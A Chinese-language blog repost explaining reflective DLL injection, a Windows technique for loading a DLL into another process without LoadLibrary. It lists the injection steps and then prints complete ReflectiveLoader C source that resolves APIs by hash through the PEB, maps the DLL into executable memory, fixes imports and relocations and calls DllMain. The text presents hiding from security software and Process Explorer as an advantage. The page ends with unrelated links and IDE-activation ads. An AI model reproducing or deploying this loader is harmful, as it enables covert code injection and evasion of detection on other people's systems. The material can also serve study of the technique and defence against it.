反射Dll注入

反射Dll注入上一篇我们介绍了CreateRemoteThread+LoadLibrary进行注入的技巧。但是这种方法实在是太过格式化,所以几乎所有的安全软件都会监控这种方法。所以HarmanySecurity的StephenFewer提出了ReflectiveDLLInjection,也就是反射DLL注入。其和CreateRemoteThread一样也是分为两部分,注入器和注入的DLL。但是注入DLL的装载由我们自主实现,由于反射式注入方式并没有通过LoadLibrary等API来完成DLL的装载,DLL并没有

大家好,又见面了,我是你们的朋友全栈君。

上一篇我们介绍了CreateRemoteThread+LoadLibrary进行注入的技巧。但是这种方法实在是太过格式化,所以几乎所有的安全软件都会监控这种方法。所以HarmanySecurity的Stephen Fewer提出了ReflectiveDLL Injection,也就是反射DLL注入。

其和CreateRemoteThread一样也是分为两部分,注入器和注入的DLL。但是注入DLL的装载由我们自主实现,由于反射式注入方式并没有通过LoadLibrary等API来完成DLL的装载,DLL并没有在操作系统中”注册”自己的存在,因此用ProcessExplorer等软件也无法检测出进程加载了该DLL,更显安全。

反射注入的流程

  1. 注入器将要注入的DLL打开,读进自己的内存空间。(注意不是映射。)
  2. 注入器提权,打开目标进程,申请内存空间,将DLL文件写入目标进程。
  3. 注入器手动搜索DLL的导出表,寻找DLL导出的自主实现的ReflectiveLoader函数。
  4. 注入器创建远程线程,线程启动点为ReflectiveLoader函数,DLL会加载自身,并执行DllMain。

ReflectiveLoader的工作流程

0x00 ReflectiveLoader做的第一件事就是查找自身所在的DLL具体被写入了哪个位置。

ReflectiveLoader首先利用一个重定位技巧找到自身所在的大致位置:

ULONG_PTR caller( VOID ) { return(ULONG_PTR)_ReturnAddress(); }

其中函数_ReturnAddress()返回的是当前调用函数的返回地址,也就是caller()的下一条指令的地址。这个地址位于ReflectiveLoader的内部,而ReflectiveLoader位于被注入的DLL文件内部,因此这个地址离DLL文件的头部不远了。

借助上文找到的地址,我们逐字节的向上遍历,当查找到符合PE格式的文件头之后,就可以认为找到了DLL文件在内存中的地址了。

0x01 获取我们需要的API函数

有四个API函数是我们需要用的

LoadLibraryA() :加载DLL所需的导入模块

GetProcAddress():修正导入表的函数地址

VirtualAlloc():申请内存空间

NtFlushInstructionCache()函数:刷新指令,重定向相关。

根据fs寄存器的0x30位置获得PEB,PEB中的三根链表就可以遍历所有已加载的模块,就可以找到Kernel32和ntdll从而获得函数地址

0x02 申请PE文件映射所需空间

因为DLL现在是以文件的方式储存在内存空间。所以我们需要根据PE文件可选头中的SizeOfImage获得加载后的大小,申请SizeOfImage大小的内存空间。

0x03 拷贝PE文件头和各个节

分配了用于装载的空间后,ReflectiveLoader将DLL文件的头部,拷贝到新的空间的首部。再根据PE文件的节表将各个节复制到相应的位置中.

0x04 修正导入表

目前为止我们对导入表没有任何操作,也就是说其还处于原始的双桥结构的状态,IAT中还没有储存相应的函数地址。我们要根据导入表内容,通过0x01获得的LoadLibrary加载所需模块,按函数名导入的通过GetProcAddress获得地址填入IAT,按序号导入的暴力搜索其所在模块获得地址。

0x05 修正重定向数据

我们的ReflectiveLoader中肯定没有需要重定向的数据,但是DLL中的其他API中可能存在需要重定向的数据。我们根据DLL自身的重定向表修改数据。

需要重定位的数据位置 = 真实加载基址 + VirtualAddress + TypeOffset低12位
重定位后地址 = (真实加载基址-默认加载基址) + 需要进行重定位的地址

重定向完成后记得调用NtFlushInstructionCache,确保指令的正确执行。

0x06 调用DllMain函数

DllMain函数的RVA在可选头中的AddressOfEntryPoint中储存。

至此DLL就完成了映射,运行了起来。

 

 

#include "ReflectiveLoader.h"
HINSTANCE hAppInstance = NULL;
#pragma intrinsic( _ReturnAddress )
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
LOADLIBRARYA pLoadLibraryA     = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc     = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
USHORT usCounter;
ULONG_PTR uiLibraryAddress;
ULONG_PTR uiBaseAddress;
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
uiLibraryAddress = caller();
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
#ifdef _WIN64
uiBaseAddress = __readgsqword( 0x60 );
#else
uiBaseAddress = __readfsdword( 0x30 );
#endif
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
uiValueC = 0;
do
{
uiValueC = ror( (DWORD)uiValueC );
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 )
{
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
usCounter--;
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
while( usCounter > 0 )
{
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
usCounter--;
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;
uiValueA = DEREF( uiValueA );
}
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
while( DEREF(uiValueA) )
{
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
while( uiValueB-- )
{
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
uiValueD += sizeof( IMAGE_RELOC );
}
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
return uiValueA;
}

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/145798.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 手眼标定过程记录

    手眼标定过程记录手眼标定过程记录============================================================================================以下四个变量是最重要的数据rvecs_rb2gripper,tvecs_rb2gripperrvecs_cam,tvecs_cam1.首先排查机械臂末端到底座的旋转平移

  • go面试题整理(附带部分自己的解答)「建议收藏」

    go面试题整理(附带部分自己的解答)

  • vue常用组件库_vue内置组件

    vue常用组件库_vue内置组件目录前言一、Vue.jsUI组件二、Vue.js开发框架三、Vue.js实用库四、Vue.js服务端五、Vue.js辅助工具六、Vue.js应用实例七、Vue.jsDemo示例八、详细分类01、UI组件及框架02、滚动scroll组件03、slider组件04、编辑器05、图表06、日历07、地址选择08、地图09、播放器10、文件上传11、图片处理12、提示13、进度条14、开发框架汇总15、实用库汇总

  • 不可错过的手机APP常见8种界面导航样式

    不可错过的手机APP常见8种界面导航样式

  • 金九银十准备季:Java IO流面试题(含答案)「建议收藏」

    金九银十准备季:Java IO流面试题(含答案)「建议收藏」前言本题集列举了众多IT公司面试真题,对应聘Java程序员职位的常见考点和知识体系都进行的分类和归纳整理。本题集适合应聘Java和JavaEE职位的程序员作为面试复习、学习和强化的资料,也适合其他程序员作为拓展读物进行阅读。本题集包含了常见的算法、面试题,也包含了新的高级技术,比如:微服务架构等技术的面试题目。本题集非常全面,对于工作1-5年左右的java程序员面试有非常好的指导作用。大家也可以访问(直接在线观看最新版的面试题):Java考试_Java笔试题机试题真题讲解_JavaWeb

  • Docker Nginx SSL证书认证启动教程[通俗易懂]

    前言:linux环境下,ssl证书认证https,docker快速部署nginx1下载nginxdocker镜像准备:服务器首先要安装docker,docker安装教程网上很多域名、ssl证书dockerpullnginx:latest2新建文件夹mkdir-p/home/docker-nginx/conf.d/mkdir-p/home/docker-nginx/logmkdir-p/home/docker-nginx/3下载nginx.

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号